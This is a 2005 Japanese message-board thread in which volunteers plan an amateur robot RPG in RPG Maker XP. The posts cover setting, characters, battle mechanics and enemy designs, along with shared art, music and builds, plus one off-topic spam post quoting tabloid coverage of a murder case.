> 島の崩壊というのは確かに悲劇ではありますが、それはある意味あと腐れないわけです。
>
> >>528の・膨大な鉱物資源のために帝国の干渉を受け翻弄されたA国 (中立か宗教のいずれか。)
> と対比させたいというのもあります。
> (そのA国に関することが何も決まってません。>>587さんの支援を期待したいなぁ)
清国の末路を見た幕末の志士たちの心情を主人公に持たせる、というこの案の方が
よっぽど魅力的だと思います。

資源を持つが故にいらんちょっかいを受けているアフリカや南米や中東などの国の
歴史を教訓に、合理的な世界情勢を考察してみます。お互いにブラッシュアップすると
楽しい作業になると思いますのでよろしくお願いします。
#チャットの参加が必要なら声をかけてください。ただ、3歳児をもつ父子家庭なので、
9時から11時ぐらいまでは添い寝のため身動きできないと思います。
#そのままダブルノックアウトで寝てしまい、深夜や明け方に再起動してごそごそ動いてたりもしますが。

■ツクールXPについて
本作のメイン制作環境は間違いなくツクールXPになると思います。
私が実際に作業できなくても、「何ができて何ができないか」という仕様は理解
しておきたいので、公式サイトなどを見て勉強する予定です。
8さんや、nanaxesさんを初めとするツクールユーザーの方にも教えて頂くことが
たくさんあると思うのでよろしくお願いします。

685 :8 ◆jS1vbFJDVk :2005/11/19(土) 23:07:22 ID:9jyyIDz/
表示だけならうまくいきそうアクティブゲージ。
見た目も操作もわかりやすいのが面白いゲームだと思う8です。
>>681
いえ、おかげで新鮮な議論ができたと思います。
バランス調整の件も頭に入れて実装をしてゆきますので。
キャラ設定についてですが、「どう使う」よりも
「どう動いたら面白い、あたたかい」と考えていただければ
問題ないと思います。難しい要望とは思いますが、どうか。
もっと詳しく知りたいと思ったら、そちらからも
チャット呼びかけを気軽にお願いします。
ttp://www.takamin.com/oekakichat/user/oekakichat3.php?userid=138905
名無しさんのチャット参加も待ってます。みんなで作ろう!

686 :いつかの190:2005/11/20(日) 00:14:21 ID:3BJRn8Um
レーネのドット完成しました。
http://up.php-s.net/up.php?id=tabiji&time=1132412932&ext=.png
こんな感じで…どうでしょうか。
ロボの方は歩行グラの方の細部を修正してたりで、まだ時間がかかりそうです。

687 :JUN ◆ylCNb/NVSE :2005/11/20(日) 00:45:59 ID:+0ZaiJgr
宿題がァァァァ
終わらないィィィィ

>>587
非常に説得力ある意見、大変乙です。
今迄の企画に足りなかったのは、こうした論理的思考かもしれませんね。
特にシナリオの考察は、アマチュアの域を超えていらっしゃる...
頼りにしてます!

>>190
ッッッッッッッッッッッGッッッッッッッッッッッッJ!!!!!!!!!
早速の仕事乙!とても良いです!かわいい!!
ああ レーネの曲書きたくなってきた 書こう

688 :名前は開発中のものです。:2005/11/20(日) 10:27:37 ID:AVdO5Ml6
なんて建設的なスレなんだ!おもわず参加しちゃいたくなる魅力を放っているではないか!

689 :587:2005/11/20(日) 12:28:35 ID:2BkUPVsr
587です。下のような形で、まとめサイトのwikiというところに乗っていた
キャラクターの情報を考察しています。nanaxesさんの構想に準じているはず。
とりあえず2人こちらにも載せます。
#wikiにも載せましたが、改行などの整形がわからずヒドイ有様です。

アルウィン 29 何でもy…バウンティーハンター 元プロットでの傭兵
   「何でも屋、バウンティハンターだ」       
   「取り戻したのかもしれんな、魔鉱石の本当の使い方を。」
■何でも屋の先輩。
#技能総合的に高いはず。
#中立国の傭兵系譜に設定すると、中立国の描写が楽?
#高性能ロボ(遺跡フレーム?帝国試作フレーム?)などに乗っていてもらい、後に主人
公機の乗り換えベースになってもらうとおいしい?(仮称:レッドウルフ)
#主人公の先輩=あこがれキャラとしてフリッツとかぶらないように注意。アルウィンは
夢を追う主人公の鏡、フリッツは現実に生きる主人公の鏡では?

フリッツ 28 謎
「犠牲者と加害者の系譜両方に連なる今という時代が産んだキメラ」
■主人公の孤児院エピソードのあんちゃん       
■主人公と親友が島を出る原因
■孤児院のあしながおじさん
■七人の聖者(テロリスト)の真実を知る。
#優秀なロボ乗り 
#七人の聖者に天誅を加えて回る?
#現実に直面し、帝国の汚れ仕事を引き受けている?587案
「手を汚すのはオレだけで十分さ。」「子どもたちには何も知らずに、暖かい布団のなか
できれいな夢を見てて欲しいと思うだろ?」「」
#帝国将軍と親交有り?
#七人の聖者に反抗するにせよ、帝国の犬に成り下がっているにせよ、帝国の利益となる
行動をとるフリッツは、帝国に反抗的な人と親交を結んでいる主人公と対立することにな
るはず。

690 :111:2005/11/20(日) 13:21:39 ID:S3j83qf9
>>687
自分は人物設定生かして妄想膨らませて物語を作る、
ちょっと複雑でも戦術的な駆け引きが出来る戦闘、
と、587氏とは逆の考えだったりヽ(´ー`)ノ

んで、戦闘システムについて

☆距離を見た目で分かりやすくしよう!
ttp://up.php-s.net/up.php?id=tabiji&time=1132460463&ext=.gif
今の戦闘画面の上に、1-1のように
敵と相手の距離が分かるようにマス表示。
装備武器によって1-2のように攻撃範囲表示。
武器種類によって1-3のように6段階(9のがいいかも)に攻撃範囲を分け
命中率も依存する。%にして細かくしてるけど、
◎当たりやすい、○ふつう、△当たらないかも、×当たるわけがない、の4つ又は
○当たる、×当たらんの2つに分けてもいいかも。
移動は、基本1マスずつ移動でスキル等で2マス移動とかが出来る。

ほかに、マスごとの移動のほかにメートル単位で細かく移動させる。
イメージ的に2-1。ぱっと見あんまり変わってないのは気のせい。
で、移動は
機動力 - 0.1 * ( 重量 - バンランス ) = 移動力 = 1回に移動できる量
とかそんな感じで、移動できるようにしたい。
これもまたスキルによって2倍移動とか1/2移動とかできるといい。
マスよりこっちの方がロボの動きが速いとか、分かっていいかも〜

691 :zk ◆PPcELrLkWg :2005/11/20(日) 15:46:41 ID:o6mqf7JP
スキルによって命中率を上げる、なども良いっすね。

今週の土曜日にまとめていろいろうpする予定。

692 :名前は開発中のものです。:2005/11/20(日) 18:42:54 ID:xkCd5Qa8
無知な名無しからの要望

・懐かしい系ばっかじゃなくて、今っぽいかっこいいロボも出して欲しい
・あたたかいだけじゃなくて、泣かせてくれるシナリオにして欲しい
・「結末は各自の想像に任せます」はやめて欲しい

693 :名前は開発中のものです。:2005/11/20(日) 19:02:07 ID:oCB2cYuP
じゃあ「本当の戦いはこれからだ」で終わる方向で

694 :名前は開発中のものです。:2005/11/20(日) 19:24:52 ID:KrmSBrWc
打ち切り!?Σ(゚д゚;)

695 :8 ◆jS1vbFJDVk :2005/11/21(月) 03:19:51 ID:CV+qxvVt
お待たせしましたアクティブ化更新。
主人公もイメチェン、レーネもいるよ!
ttp://emps.rash.jp/up/src/up0032.zip
えらく簡単な作り故バグはないと思いますが、
なんか不具合あったらすぐ修正しますので報告よろ。

>>686
GJです!イラストに忠実なところもスゴス
さっそく使用させていただきました。
ふともものむっちり具合が…(*´д`)
だが!俺としてはもう少し細いほうが…
しかしッ!むっちりもGJで捨てがたい…どうしたらいいんだ。
>>687
投下されたネタがさらにネタを生む。
いい流れです。でも宿題やってからにしようね。生活のが大事。
>>688
それがみんなで作ろうスレです。思わず参加してくれる人大歓迎。
>>689
キャラ設定乙です。wikiも見せてもらいました。
キャラごとの性格付けや個性がちょっと弱い気もしますが、
そのあたりはスレで話し合って補っていけば大丈夫だと思います。

696 :8 ◆jS1vbFJDVk :2005/11/21(月) 03:35:36 ID:CV+qxvVt
続けます。ついでにageます。
>>690
あまり複雑だと作る俺が死んじゃうのでご勘弁を。
距離表示の提案はこれからの改善の際に参考にします。
>>691
スキルはステータス底上げや弱点解消など
デメリットの少ないもののほうがよさそうですね。
実際作ってみたら全く違う仕様になるかもしれませんが。
土曜うp祭り期待してます。ワクワク
>>692
今っぽいロボを出す案も過去レスにありましたね。
タイムスリップで夢オチ?思わせて実は…なネタ。
泣かせるかはともかく、俺個人の考えでは
物語の結末をきっちり描くつもりです。
>>693-694
ロボスレの次回作にご期待しないでください。
ていうか一歩足を踏み外せば打ち切りあり得ますから。
そうならないようにがんばってますから。

697 :名前は開発中のものです。:2005/11/21(月) 10:00:27 ID:ssgciPzj
新バージョン乙!
さわりだけやってみた

おお...ドットキャラが歩いとる
手作りってのは、いいですね!

698 :名前は開発中のものです。:2005/11/21(月) 12:04:05 ID:dbg3MuQB
サガ風呂2みたいなのプログラムできんかね?

699 :名前は開発中のものです。:2005/11/21(月) 13:04:08 ID:f5FBKKgI
  【 「町田」女子高生虐殺事件 】  

 血を浴びて真っ黒に染まった白い携帯電話を友達にみせ「 こうなる 」 ( 週刊現代 )
 「 血しぶきの飛ぶゲームに快感を覚える 」 ( 週刊現代 )
 「 ブラッディロア、サイレントヒル知ってるか? 」 ( 15歳以上指定のソフト ) ( 週刊現代 )
 廊下を走りまわり女子の尻をさわる、突進する、傘でたたく。 ( 週刊現代 )

 ・「 カギの入ったバッグを盗んだ 」 とラリーが供述。
 ・貴重品が入ったバッグが校内で盗難に、被害届けを出さなかった学校。
 ・クリーニングに出しても消えない真っ赤なブレザー、母親の責任は・・。
 ・住民の証言「報道されてるような、独りぼっちの暗い子ではない。」
 ・「メシまだですかーー」  「被疑者は今日も元気です!」

まとめサイト
http://www.megabbs.com/cgi-bin/readres.cgi?bo=fromyou&vi=1132405632&rm=50

700 :8 ◆jS1vbFJDVk :2005/11/22(火) 00:39:52 ID:XdmYOV38
大変なことになったので、更新してもsage進行で。軽卒スマソ
>>697
ランタイムのドットよりも愛着がわくというか、
キャラのあたたかみがグッと増す感じがしますよね。
ドッターさんに大感謝です。

戦闘画面、コクピットの振動がどうもうまく再現できないorz

701 :ドリームリーダー763:2005/11/22(火) 03:36:01 ID:ZR+dqaQf
>>686
乙!GJ!
アレ何かエロくね?

>>695
アクチブ化乙!
今んとこタイマン用みたいだね
振動は背景と敵を同じように揺らせたら?やりすぎると見難くなるけど

>ふともものむっちり具合が…(*´д`)
>だが!俺としてはもう少し細いほうが…
>しかしッ!むっちりもGJで捨てがたい…どうしたらいいんだ。

そうだ、レーネのダイエットイベントを作ればいいんだ!

702 :名前は開発中のものです。:2005/11/22(火) 10:06:23 ID:CC75+8/Y
大変なこと?

703 :昔の311:2005/11/22(火) 17:57:04 ID:sp+87QkR
おひさしゅーございます
また良かったら参加したいっす

704 :8 ◆jS1vbFJDVk :2005/11/23(水) 01:16:14 ID:aH7r8Ho+
感想が少ないとどこを修正してゆけばいいのかわからない。
職人さんの苦悩を少しずつ理解する8です。
>>701
振動はまだ試行錯誤してますがうまくいかない…orz
>>703
お久しぶりです!画像カードで何枚か使わせていただいてます。
今も昔も職人さんカモーン状態なので、よろしければぜひ。

というわけでかつての人も、新人さんも気軽に参加しちゃってください。

705 :587:2005/11/23(水) 02:10:28 ID:6eVSf4JK
8さん、更新作業お疲れ様です。
えっと、1時間程度チャットできる方はいますか?
2〜3確認してみたいことがあるのですけれど。

706 :587:2005/11/23(水) 07:13:25 ID:6eVSf4JK
587です。nanaxesさんと190さんで相談してました。

■報告事項
・世界設定の調整都合上、地図を少し書き直すことになりそうです。

■全体質問
・総ゲーム時間はどのぐらいを想定? シナリオ数などのため再確認。

・1シナリオ当たりの戦闘数は?1戦闘の時間は? それを目安にした戦闘調整が必要になる。
 #エンカウント率の高いゲームで雑魚が一度に5〜6匹出るなら、一撃一殺が基本となる。
 #一般的に、雑魚はサクッと、ボスはじっくり、という形となるはずだ。
 #ロボを雑魚敵として何機も破壊して回るのは世界観にそぐわないので、極端な場合、1シナリオ(1依頼)1戦闘がベースということもあり得る。
・戦闘で収入を得るか?
 #経験値稼ぎ、資金稼ぎに雑魚戦の消化が必要になるか?
・戦闘系設定の責任者は? 
 ★システムは8さんが「実装」する。これは確定。
 問題は「ステータス」「演算式」も8さんが自力で考えなきゃいけないのか?たとえば、自分の最大耐久度にしても 
  初期値 10  >クリア時10000
  初期値 100 >クリア時250  ぐらいなのか。
 そういうこまかいことも、全部8さんが自力でリアルタイム戦闘用のシステムを組みながら、設定数値も考察するのか?誰かが基本数値を設定してしまって、できあがったシステムにその数値・式を8さんが代入する方が賢くないか?
  レベルはどのくらいの頻度で上がるのか、1レベル上がるとどのくらい強くなる予定にするのか?逆に言えば、プレーヤーにどのぐらい「強くなった実感」を与えるのか。あとで調整するにしても、予定もナシで全部システム完成まで後回し?
 
 稼ぎなどの場合、雑魚としてロボを狩りあるくわけにはいかない。世界観は
 「猛獣・怪物に対抗する手段としてのロボ」なので、怪物がいる。
 その名称や設定管理は誰の仕事?戦闘システムも含めて全部全部8さん?

707 :名前は開発中のものです。:2005/11/23(水) 13:57:33 ID:OFSH20qI
> 稼ぎなどの場合、雑魚としてロボを狩りあるくわけにはいかない。世界観は
>「猛獣・怪物に対抗する手段としてのロボ」なので、怪物がいる。

「怪獣に対抗するためロボが生まれた」っていう設定には反するけど、雑魚の設定を妄想した

ロボットを用いた戦争が人々にもたらした弊害の一つに、「ジャンク」の跋扈が挙げられる。
ロボットの制御に用いられる「シェル」とは<<高度に進化し、情報の伝達ができるようになった貝>>を部品として加工したものである。
通常の制御下ではパイロットからの指令を各パーツに運ぶために働いているが、
破壊されたロボットが長時間放置された場合等、稀にシェルが生物としての本能を取り戻し、それ自身が頭脳となってロボットを(あるいはその一部を)駆動することがある。これが「ジャンク」である。

放置されたシェルは「自己保存」を至上命令として動くため、生活圏に入ってきた敵(例えば民間のトラック、ロボなど)を襲い、破壊したパーツを自分の一部として取り込もうとする。
このため多くのジャンクは、破壊されたロボットのパーツが寄り集まったグロテスクな形状をしている。
また、ジャンク同士が結合し、より大きなジャンクとなる場合もある。
破壊された帝国の最新機が超強力なジャンクになったり、巨大な戦艦様に発達したジャンクも存在するようだ。

戦争が終結しない限りジャンクは無尽蔵に増え続け、交易商や旅人達に被害を与え続けるのだ。

708 :zk ◆PPcELrLkWg :2005/11/23(水) 15:00:33 ID:iftWspo3
ジャンクを倒すとそのシェルが回収できてそれを換金できるっていうのはどうでしょう

709 :名前は開発中のものです。:2005/11/24(木) 00:33:04 ID:ZZnQPy92
シェルが危険すぎるな。戦争は断続的だが、シェルは戦争よりも危険。
だからシェルは稀少な存在という設定にして、その財と治安のために、「シェルハンター」が必要。
長時間放置したシェルは生身の人間が近づいても無害なため、シェルハンターはロボよりも比較的楽に作業ができる。


710 :8 ◆jS1vbFJDVk :2005/11/24(木) 01:20:52 ID:3gFPC3mq
>>706
考察乙です。地図の件了解しました。
総ゲーム時間はまだピンときませんね…
1戦闘あたりの時間や整備パートに費やす時間も考慮しないと
どのくらいの時間をかけてクリア、っていう数字は出しにくいかと。
戦闘系に関しては、現状だと俺が責任者になりますね。
ステータスは最大値や成長率うんぬんよりも
どんなステータスを用意するべきか考える方が先でしょう。
>経験値
ロボってレベルで成長するものでしょうか…
いくらろぼだまがあるとはいえ、マシンですし。
親友というメカニックもいるので、改造のほうがしっくりくるのでは。

>>707
要するに「野生のロボ」ですか。物語後半はうじゃうじゃ出そう…
もとがロボだから戦利品入手もしやすいですね。
>>708
換金もおk、ろぼだまに組み込んでしまうもおk。とか。
>>709
シェルハンターはジャンクに狙われない反面、怪物には狙われる。
どのみち危険な仕事ですよね。

ジャンクと聞いてガンホーブリゲイドを思い出したのは内緒だ。

711 :名前は開発中のものです。:2005/11/24(木) 01:45:21 ID:Bte3pcJ4
ポリタンクが群雄割拠するような世界観でもいいんじゃない?

712 :ドリームリーダー763:2005/11/24(木) 03:56:12 ID:1ZEV3VeM
レベル上げは闘技場とかを作るわけにはいかんの?

713 :名前は開発中のものです。:2005/11/24(木) 11:46:34 ID:+nELODny
>>707を見て二次妄想

帝国製の量産型軍事ロボは、無感情に量産され「敵を効率的に殺す」という冷たい意識で操作されるため、破壊された後はジャンクになって人に害を為す。
自然国のロボは職人が丹精込めて作り上げ、パイロットもロボを良き友人として扱うため、破壊された後もパイロットを守り、設計の限界を超えた動きをする。

主人公のロボも、人助けイベント等をたくさんこなすと良いロボになって主人公を助ける。
(強いボスに負けそうになった時、ロボは最後の力を振り絞って主人公を爆発から守り、後にはろぼだまだけが残る。
そのろぼだまを核に、より強力なロボ2号が作られる...)

敵国ロボの破壊ばかりしていると悪いロボになる。夜遊びをおぼえたりする。

>>709
危険を冒してジャンクに立ち向かい、金を得ることを生業とするロボット乗り...人々は彼らを「シェルハンター」と呼んだ!
というのはどうでしょう

714 :名前は開発中のものです。:2005/11/24(木) 11:48:04 ID:+nELODny
あと、成長システムは
戦闘でシェルを得る>換金>パーツ購入、ステータスアップ
に一票

経験値は、(もしあるなら)中の人のステータスに関わるとか。
なくても良いと思う。

715 :名前は開発中のものです。:2005/11/24(木) 13:48:24 ID:mfmODv5d
メンド臭い細かいシステムを煮詰めるより〜
まずは完成をめざしなよ〜
ララララ〜

716 :zk ◆PPcELrLkWg :2005/11/24(木) 14:29:08 ID:bzt0STYP
この流れだと

各地でシェルの盗難事件・強奪事件が続発

何者かがそのシェルで巨大ロボを製造

ボス

という流れも可能ですね

717 :名前は開発中のものです。:2005/11/24(木) 18:30:18 ID:sVSGZ2BF
キャラ案投下
敵メカとかの妄想です

「スプリンター」
戦場跡などに広く棲息するジャンク。ロボットの腕や足にゴミやケーブルが巻き付いた形をしている。
関節のバネを使って飛びかかってくるが攻撃力は弱く、装甲も薄いのでそれほどの脅威ではない。

「ギャベイジ」
ロボットの原形を留めているジャンク。継ぎはぎだらけでバランスの悪い形をしている。
多くは体当たりや打撃で襲ってくるが、武装しているものもあり注意が必要。倒すとそこそこのシェルが手に入る。

「バルクアーム」
銃や大砲など、武器類が寄り集まった形のジャンク。
火器を使った遠隔攻撃をしかけてくる。たまに暴発して自爆することもある。
攻撃力がとても高く、先手をとって仕留めないと痛い目にあう。

718 :111:2005/11/24(木) 19:44:45 ID:y4NGEsYA
>>700
歩くときに敵を上下さしちゃうと
敵が歩いているように見えちゃうから、
コックピット上下にさせるのはどうでしょう。
まぁ、ぶっちゃけこんな感じ
ttp://emps.rash.jp/up/src/up0034.swf
前進するときに背景をちょっとだけ拡大すると
だいぶそれっぽく見える気がします。

719 :311古:2005/11/25(金) 00:12:17 ID:kmwGlfsq
>>704
どもです〜。何か描いてないキャラ等がありましたら
教えて欲しいです。

720 :8 ◆jS1vbFJDVk :2005/11/25(金) 00:27:39 ID:nJ24HqWQ
今週は更新できないかも。
>>711
なにそのメタル…
>>712
ああ、コロシアム(スタジアム?)という手もありますね。
テストバトルも兼ねてさっそく入れてみましょうか。
となると、敵思考も実装しないと…orz
>>713
軍用ロボは「冷たい」という点に同意。
主人公の「暖かさ」と対比させることもできますしね。

乗り換えですが、特定のバトルの勝敗で展開を分けるというのは?
・かなりの強敵だが、勝利できるほど強化してあるとそのまま(やり込み派)
・強化が足りずに負けた場合は乗り換え、ステータス大幅底上げ(難易度下げ)
>>714
中の人の経験値、熟練度というのは以前実装しましたね。
>>715
耳が痛いです〜
ルルル〜

721 :8 ◆jS1vbFJDVk :2005/11/25(金) 00:43:37 ID:nJ24HqWQ
続けます。
>>716
「シェル強盗」系列のサブシナリオを用意して、全てクリアすると
終盤に黒幕が登場するような隠しイベントになりそうですね。
>>717
ザコメカ案乙。基本はそのくらいですかね。
あとはもっと肥大化したやつとか、ワンオフ機の残骸とかでしょうか。
>>718
おおっ、それっぽい動き。さっそく修正しておきます。
>>719
そうですね、主要キャラでいうとフリッツ(あんちゃん)の絵がありませんね。
幼少の主人公が憧れた人物です。詳細はwikiを参照。

どこまでできるかわからない次回更新予定。
・敵を動かす
・自機のHPと装甲、負け判定を設定

722 :名前は開発中のものです。:2005/11/25(金) 00:50:08 ID:y7Lfz+TU
8ちゃん乙!
戦闘が完成したらネタの出しがいもでてくるな
ますますがんばってくれ

>>717
ナイスネーミング
ザコ敵の絵もあると良いね

>>718
おお 振動してる
戦闘始まる時にエンジンの音が欲しくなった

>>311古氏
期待してまつ!
またあの美麗イラストが拝めるとは...

JUN氏は最近ごぶざただな
宿題中?

723 :名前は開発中のものです。:2005/11/25(金) 14:42:19 ID:818pUpyh
新婚旅行中

724 :名前は開発中のものです。:2005/11/25(金) 18:52:28 ID:3BFT3yiZ
離婚裁判中

725 :8 ◆jS1vbFJDVk :2005/11/25(金) 22:23:05 ID:JEPlOpah
お茶漬け中

726 :zk ◆PPcELrLkWg :2005/11/25(金) 22:52:25 ID:+k1VikQ5
キャラ案

「タイタン」
超大型のジャンク。こう呼ばれるまでに数年の時間を要する。
タイタン自体には特に特記すべき能力はなく、格闘攻撃をメインとする。
(と、いってもでかいので威力は高い。)

割と簡単に捕獲でき、人間に捕獲されたものは母艦として利用される。
(帝国がタイタン製造のためにわざと廃棄処分のロボをジャンクとして
放している・・・っていう裏設定なんかどうでしょうか)

727 :名前は開発中のものです。:2005/11/25(金) 23:21:54 ID:esxwFuz0
>>726
お いいね
帝国のマッドな科学者がジャンク部隊を作ろうと目論むんだけど、結局は制御しきれずにジャンクの群れが暴走...とか想像した
俺もひとつ

「コラプター」
レーダー機器等を取り込む事で電波干渉能力を得たジャンク。パラボラアンテナを背負っている。
直接攻撃力は低いが、強力なジャミング波でロボの制御を混乱させる事が出来る。

こういう設定も「モンスター図鑑」的なカードにしたら面白いと思う

728 :587:2005/11/26(土) 07:36:35 ID:TX0GUjCm
>>707〜
ジャンク狩りだと、生き物殺さなくていいし、人助けになるっぽいし都合のいい環境ができますね。
戦利品も獲得しやすそうだし、便利でおもしろい案だと思います。
ナマモノかくよりも、機械の方が絵がそろいやすいのであれば言うことなしですね。
>8さん
戦闘系も含めてプログラムはすべて一任、ということですね。
ステータス設定もまだということですからこれからの作業がとても大変だと思いますが、
夢の実現のためにがんばってください。

729 :名前は開発中のものです。:2005/11/26(土) 09:09:52 ID:/2SfrRsm
みんなセンス良杉

730 :名前は開発中のものです。:2005/11/26(土) 12:56:29 ID:l0CRkDkt
どうでもいいけど主人公キャラってこれのパクリでしょ
ttp://www.dengekionline.com/data/news/2005/04/08/c84d9d04c5e8b2255a86c6526afef1cf.html

731 :zk ◆PPcELrLkWg :2005/11/26(土) 13:20:45 ID:oE1hQFu0
>>730否!たとえ似ていたとしても モ ロ カ ブ リ しただけだ!
(神意のほどはよくわからないが)

2時間ぐらいしたらいろいろうpします。


732 :名前は開発中のものです。:2005/11/26(土) 14:49:40 ID:NlTmk4Wa
期待age

733 :名前は開発中のものです。:2005/11/26(土) 17:53:37 ID:Nfzx6cyT
22:00に絵チャる

734 :zk ◆PPcELrLkWg :2005/11/26(土) 19:15:53 ID:oE1hQFu0
うわぁぁぁっ!大遅刻orz

ttp://www.rupan.org/uploader/download/1132999997013251.7eYqvH

普通:robodama パスは robo です。

MIDI15曲(ハズレありorz)
落書き×1(チラシの裏)

735 :名前は開発中のものです。:2005/11/26(土) 21:51:25 ID:PehHWlJU
主人公草案は4月頃にはもう出ていたような・・・
グラ3発表いつだっけ?普通にかぶっただけのような・・・

736 :名前は開発中のものです。:2005/11/26(土) 21:58:31 ID:pPeKQdRQ
グランディア3って家とロボと○とゲを足して4で割ったような内容だよな。
■の人間がROMってるとしか思えない、っていうか■は2chに会社からカキコした事あるから当然かw

737 :8 ◆jS1vbFJDVk :2005/11/26(土) 23:05:25 ID:gFC2KxUh
チャット中。
>>726-727
コラプターさんはシェルの伝達を混乱させるってことになりますかね。
カードで情報入手もぜひ実装したい。
>>728
とても大変。だからこそ、とてもやりごたえ。
長丁場になると思いますが見捨てないでね。
>>729
本当に。
>>734
乙です。これはいいベイブルですね。
midiのほうは…うん、まあ、その、ぐふっ!

738 :イッポウシ:2005/11/27(日) 01:53:07 ID:lh5ukifw
音楽の需要ってあるのかな?

〜〜風って小器用に作れると思うんだが・・・。

739 :名前は開発中のものです。:2005/11/27(日) 02:43:29 ID:4eX9VLFJ
>>738
トリップ付けろよ

740 :イッポウシ ◆6ueDq3sqT2 :2005/11/27(日) 02:46:33 ID:AanqisXj
トリップつけたよ
音楽1曲できたらうpしますんで感想よろしくね
でわでわ

741 :イッポウシ ◆quM58wnvXA :2005/11/27(日) 02:56:50 ID:lh5ukifw
おいおい。勘弁してくれよ。

こっちが本物でっす。よろしく。

742 :8 ◆jS1vbFJDVk :2005/11/27(日) 03:08:33 ID:jJ4eKYUz
チャット終了。眠い。
・前回のチャットで決定した変更点の詳細を確認
・戦闘システムの基礎の組み方を確認
人数が人数だったので、確認だけで終わりました。

>>738,740
おおっ、期待して待ってます。ワクワク
>>739
そう焦らないでも。

743 :8 ◆jS1vbFJDVk :2005/11/27(日) 03:09:33 ID:jJ4eKYUz
おっと。
>>741
ID…まあいいや。曲があがったら本物かどうかわかります。
何にせよワクワク

744 :イッポウシ ◆quM58wnvXA :2005/11/27(日) 03:40:03 ID:lh5ukifw
とりあえず以前作った曲を2曲ほどうpします。
DTM板でうpしたこともあるので、聴いたことのある人もおられるかもしれません。

「まどろみ」
http://www.yonosuke.net/dtm/5/13303.mp3


745 :イッポウシ ◆quM58wnvXA :2005/11/27(日) 03:43:42 ID:lh5ukifw
2曲目もうpを受け付けてくれました。よかった。

「サイバー風」
http://www.yonosuke.net/dtm/5/13304.mp3

これは正直やっつけです。でもゲームっぽいかなあ、と。
では、感想お待ちしておりますです。

746 :名前は開発中のものです。:2005/11/27(日) 17:13:08 ID:G9mLNnhL
これはまたJUN氏とは色の違う顔を見せてますねぇ
聴いた曲が少ないんで、はっきりとは言えないですけど

JUN氏の曲はいろんな部分に懐古的な情緒を垣間見せてくれますが
イッポウシさんの曲は、直接的に感情をぶつけてくるような感覚がしました
お二人とも曲に自分のカラーが曲に見て取れますね、非常にうらやましいです

747 :名前は開発中のものです。:2005/11/27(日) 17:14:25 ID:G9mLNnhL
うぇ、最後の行がおかしい('A`)

訂正
お二人とも自分のカラーが曲に見て取れますね、非常にうらやましいです

748 :名前は開発中のものです。:2005/11/27(日) 23:48:20 ID:Fz9UObYJ
超古代ロボ「学超力零号」 (身長50m、体重3200トン)
動力:超小型太陽(陽子−陽子レベルの超高度な核融合により、水素核融合を実現)
超能力
(1)サイコキネシス:電磁場と重力場の相関関係を解明した「大統一場理論」に基づく重力制御機構
(2)テレポーテーション:重力制御により空間を歪曲、亜光速による空間移動。
(3)テレパシー:人間の微弱な脳波を解析し、思考をトレースする。
 
搭乗者との連絡はニュートリノを用いた素粒子通信(通信速度は光速)、通称「霊子通信」
にて行われる。
古代レムリア大陸で創造された機神の一体。破損した際の修復は、海水中の元素を収集・蓄積し、物質を再構築する。
宇宙空間では星間物質から水素を収集、エネルギー源として使用。亜光速巡航が可能。

749 :名前は開発中のものです。:2005/11/27(日) 23:52:45 ID:57r9op9l
>>748
敢えて言おう。

ス レ 違 い だ

750 :名前は開発中のものです。:2005/11/28(月) 02:39:19 ID:DJZK/87G
>>744
おお GJ
どんどん音師が増えてくな
1曲目は、穏やかながらも不安を感じる
自分的には2曲目のが好みだな
こういうの、JUN氏にはできまい

>>748
その心意気にはGJ
でもちょっと住む世界が違うような
もっとレトロでダサカッコよくて、厨っぽくて理屈なんかいらねえー!って感じのが
合うと思う

あー俺もなんか作りたいな 作曲勉強してみようかな...

_

751 :8 ◆jS1vbFJDVk :2005/11/28(月) 02:55:07 ID:qzrMPEGs
やっと普通に戦えるb更新。背景、コンソール表示も修正。
ttp://emps.rash.jp/up/src/up0035.zip
敵が攻撃だけですが、行動するようになりました。
油断するとあっさり負けるので、攻撃するときは容赦なく。
レーネに素早さいじってもらうとバランス調整っぽくなる…はず。

>>744-745
おお、なかなかに聞き応えのある曲調で。
音色(パート?)が少ないせいなのか、一つ一つの音が強く印象に残ります。
まどろみは普通に気に入ってしまいました。
もっとテンポの速い曲も聞いてみたいですね。
>>750
せっかくだからいっしょにやろうぜ。

さて、世間はそろそろ師走で忙しくなって参ります。
俺も例外ではなく、更新のペースがガクっと落ちますがご容赦。
更新もbがメインになると思うので、カード関連のうpは
年内は無理かと思われます…絵師さん音師さんスマソ

752 :zk ◆PPcELrLkWg :2005/11/28(月) 07:25:54 ID:78c4XP7w
ジャンク案

「ビースト」
ジャンクの中でも最も野生的に育ったワイルドなお方。
移動は四本足、もちろん必殺技は噛み付きONLY。
稀に亜種として二足歩行に進化しつつあるものもあり。



753 :イッポウシ ◆quM58wnvXA :2005/11/28(月) 13:23:35 ID:citLksJl
聞いてくれた方、どうもありがとうございます。
具体的な指示を貰えたら、早速動き始めようと思います。
「〜〜のゲームの〜〜みたいな感じ」とか「〜〜な場面のイメージで」などの形で
指示してもらえるとやりやすいです。

あと、もう一曲うpしておきます。

「逃げろ!」
http://www.yonosuke.net/dtm/5/13329.mp3

754 :名前は開発中のものです。:2005/11/28(月) 16:37:48 ID:pz3gm0pL
>>753
疾走感はあまり感じられないので、逃走劇というより
ピンチに陥った瞬間みたいな印象を受けました
この曲から疾走感のある曲に以降すれば
逃走するシーンもばっちりですね

755 :8 ◆jS1vbFJDVk :2005/11/29(火) 00:54:18 ID:vyrDhzL5
次回更新は射撃を追加予定。
>>752
野生を取り戻すという設定なら、外せない形態ですね。
もとが貝なのはおいといて。でも二本足になっちゃうと
それはビーストじゃなくてギャベイジなんじゃないかとry
>>753
それでは、バトルの曲をリクエストしてみます。
SFC時代のスクウェアRPGのボス戦っぽい感じで。

756 :名前は開発中のものです。:2005/11/29(火) 10:22:51 ID:JA3plL6h
>>753
GJ!
やべーこれすごい好きw
NINぽいw
バトル曲期待してまつ

JUN氏はクラシック、ジャズ系でイッポウシ氏はロック、テクノ系...
意外とバランスとれてるんじゃないだろうか

757 :イッポウシ ◆quM58wnvXA :2005/11/29(火) 13:51:01 ID:jpKfVqMk
>>755
了解しました。

ところで、生音を使ってmp3形式で仕上げてもOKでしょうか?
MIDIデータより、そっちのほうが数段やりやすいのですが・・・。

758 :名前は開発中のものです。:2005/11/29(火) 14:49:48 ID:Bx0qRhda
生音!?

大丈夫だと思いますよ
最終的にはMIDIとMP3、どっちもあると良いかと

759 :名前は開発中のものです。:2005/11/29(火) 18:46:39 ID:/1Oj7Wa8
着メロ化したいのでMIDIがあるとウレシス

760 :名前は開発中のものです。:2005/11/29(火) 22:35:17 ID:4SP+ey+g
mp3だと糞重くなるな
貧弱回線の漏れらには辛いよー

